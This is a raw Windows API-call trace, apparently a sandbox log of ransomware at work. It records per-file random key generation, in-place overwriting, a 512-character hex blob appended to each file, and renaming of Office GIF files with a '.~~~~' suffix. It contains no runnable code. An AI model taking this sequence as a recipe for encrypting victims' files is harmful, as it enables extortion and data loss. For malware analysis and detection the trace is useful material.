	[0126.996] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0126.996] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0126.996] CloseHandle (hObject=0x144) returned 1
	[0126.996] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f3e78
	[0126.997] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10336_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10336_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10336_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10336_.gif.~~~~")) returned 1
	[0126.998] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f3e78 | out: hHeap=0x300000) returned 1
	[0126.998] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0126.998] GetLastError () returned 0x0
	[0126.999] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0127.001] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0127.001] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0127.001] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0127.001] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0127.001] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0127.001] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=24699125505) returned 1
	[0127.001] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb5265bb0, dwHighDateTime=0x1d60e1e)) 
	[0127.001] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0127.001] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0127.001] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0127.002] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2821e10
	[0127.002] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0127.002] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2821e10 | out: hHeap=0x300000) returned 1
	[0127.002] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x3ae0e8
	[0127.002] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0127.002] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x27f3f20
	[0127.002] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ae0e8 | out: hHeap=0x300000) returned 1
	[0127.002] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bc9f8
	[0127.002] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f3f20 | out: hHeap=0x300000) returned 1
	[0127.002] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0127.002] GetLastError () returned 0x0
	[0127.003] GetLastError () returned 0x0
	[0127.003] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0127.003] GetLastError () returned 0x0
	[0127.003] GetLastError () returned 0x0
	[0127.004] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xffffff10, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0127.005] WriteFile (in: hFile=0x144, lpBuffer=0x2a1e0a8*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a1e0a8*, lpNumberOfBytesWritten=0x25dfec0*=0xf0, lpOverlapped=0x0) returned 1
	[0127.006] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a1e0a8 | out: hHeap=0x300000) returned 1
	[0127.006] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0127.006] WriteFile (in: hFile=0x144, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0127.006] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0127.007] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0127.007] CloseHandle (hObject=0x144) returned 1
	[0127.007] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f3f20
	[0127.007] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10337_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10337_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10337_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10337_.gif.~~~~")) returned 1
	[0127.205] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f3f20 | out: hHeap=0x300000) returned 1
	[0127.205] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0127.205] GetLastError () returned 0x0
	[0127.364] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0127.365] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0127.365] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0127.365] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0127.365] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0127.365] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0127.365] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=24735557063) returned 1
	[0127.366] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb55d1b50, dwHighDateTime=0x1d60e1e)) 
	[0127.366] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0127.366] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0127.366] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0127.366] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2a46730
	[0127.366] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0127.366] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a46730 | out: hHeap=0x300000) returned 1
	[0127.366] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0127.366] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0127.366] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3aa9a0
	[0127.366] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0127.366] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bc9f8
	[0127.366] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3aa9a0 | out: hHeap=0x300000) returned 1
	[0127.366] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0127.366] GetLastError () returned 0x0
	[0127.366] GetLastError () returned 0x0
	[0127.366] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0127.367] GetLastError () returned 0x0
	[0127.367] GetLastError () returned 0x0
	[0127.368] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0xffffff4d, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0127.369] WriteFile (in: hFile=0xc4, lpBuffer=0x2a1e0a8*, nNumberOfBytesToWrite=0xb3, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a1e0a8*, lpNumberOfBytesWritten=0x25dfec0*=0xb3, lpOverlapped=0x0) returned 1
	[0127.370] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a1e0a8 | out: hHeap=0x300000) returned 1
	[0127.370] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0127.370] WriteFile (in: hFile=0xc4, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0127.370] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0127.370] WriteFile (in: hFile=0xc4, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0127.370] CloseHandle (hObject=0xc4) returned 1
	[0127.370] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3aa9a0
	[0127.370] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14515_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14515_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14515_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14515_.gif.~~~~")) returned 1
	[0127.372] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3aa9a0 | out: hHeap=0x300000) returned 1
	[0127.372] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0127.372] GetLastError () returned 0x0
	[0127.373] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0127.374] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0127.374] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0127.374] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0127.374] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0127.374] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0127.374] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=24736413476) returned 1
	[0127.374] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb55f7cb0, dwHighDateTime=0x1d60e1e)) 
	[0127.374] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0127.374] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0127.374] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0127.374] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3ccb30
	[0127.374] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0127.374] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ccb30 | out: hHeap=0x300000) returned 1
	[0127.374] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0127.374] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0127.374] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x27f3938
	[0127.375] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0127.375] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bc9f8
	[0127.375] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f3938 | out: hHeap=0x300000) returned 1
	[0127.375] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0127.375] GetLastError () returned 0x0
	[0127.375] GetLastError () returned 0x0
	[0127.375] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0127.375] GetLastError () returned 0x0
	[0127.375] GetLastError () returned 0x0
	[0127.376] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0xffffff51, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0127.376] WriteFile (in: hFile=0xc4, lpBuffer=0x2a1e0a8*, nNumberOfBytesToWrite=0xaf, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a1e0a8*, lpNumberOfBytesWritten=0x25dfec0*=0xaf, lpOverlapped=0x0) returned 1
	[0127.377] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a1e0a8 | out: hHeap=0x300000) returned 1
	[0127.377] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0127.377] WriteFile (in: hFile=0xc4, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0127.377] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0127.377] WriteFile (in: hFile=0xc4, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0127.378] CloseHandle (hObject=0xc4) returned 1
	[0127.378] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f3938
	[0127.378] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14583_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14583_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14583_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14583_.gif.~~~~")) returned 1
	[0127.379] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f3938 | out: hHeap=0x300000) returned 1
	[0127.379] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0127.379] GetLastError () returned 0x0
	[0127.379] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0127.380] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0127.380] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0127.380] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0127.380] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0127.380] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0127.380] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=24737051563) returned 1
	[0127.380] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb55f7cb0, dwHighDateTime=0x1d60e1e)) 
	[0127.380] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0127.381] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0127.381] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0127.381] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3ccaf8
	[0127.381] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0127.381] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ccaf8 | out: hHeap=0x300000) returned 1
	[0127.381] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0127.381] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0127.381] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x27f4ce8
	[0127.381] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0127.381] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bc9f8
	[0127.381] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f4ce8 | out: hHeap=0x300000) returned 1
	[0127.381] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0127.381] GetLastError () returned 0x0
	[0127.381] GetLastError () returned 0x0
	[0127.381] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0127.381] GetLastError () returned 0x0
	[0127.383] GetLastError () returned 0x0
	[0127.395] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0xffffff47, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0127.395] WriteFile (in: hFile=0xc4, lpBuffer=0x2a1e0a8*, nNumberOfBytesToWrite=0xb9, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a1e0a8*, lpNumberOfBytesWritten=0x25dfec0*=0xb9, lpOverlapped=0x0) returned 1
	[0127.397] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a1e0a8 | out: hHeap=0x300000) returned 1
	[0127.397] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0127.397] WriteFile (in: hFile=0xc4, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0127.397] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0127.397] WriteFile (in: hFile=0xc4, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0127.397] CloseHandle (hObject=0xc4) returned 1
	[0127.398] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f4ce8
	[0127.398] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14654_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14654_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14654_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14654_.gif.~~~~")) returned 1
	[0127.400] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f4ce8 | out: hHeap=0x300000) returned 1
	[0127.400] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0127.400] GetLastError () returned 0x0
	[0127.401] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0127.402] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0127.402] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0127.402] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0127.402] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0127.402] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0127.402] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=24739190612) returned 1
	[0127.402] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb5643f70, dwHighDateTime=0x1d60e1e)) 
	[0127.402] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0127.402] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0127.402] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0127.402] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3ccac0
	[0127.402] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0127.402] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ccac0 | out: hHeap=0x300000) returned 1
	[0127.402] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0127.402] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0127.402] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x27f49a0
	[0127.402] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0127.402] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bc9f8
	[0127.402] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f49a0 | out: hHeap=0x300000) returned 1
	[0127.402] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0127.403] GetLastError () returned 0x0
	[0127.403] GetLastError () returned 0x0
	[0127.403] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0127.403] GetLastError () returned 0x0
	[0127.403] GetLastError () returned 0x0
	[0127.404] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0xffffff53, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0127.404] WriteFile (in: hFile=0xc4, lpBuffer=0x2a1e0a8*, nNumberOfBytesToWrite=0xad, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a1e0a8*, lpNumberOfBytesWritten=0x25dfec0*=0xad, lpOverlapped=0x0) returned 1
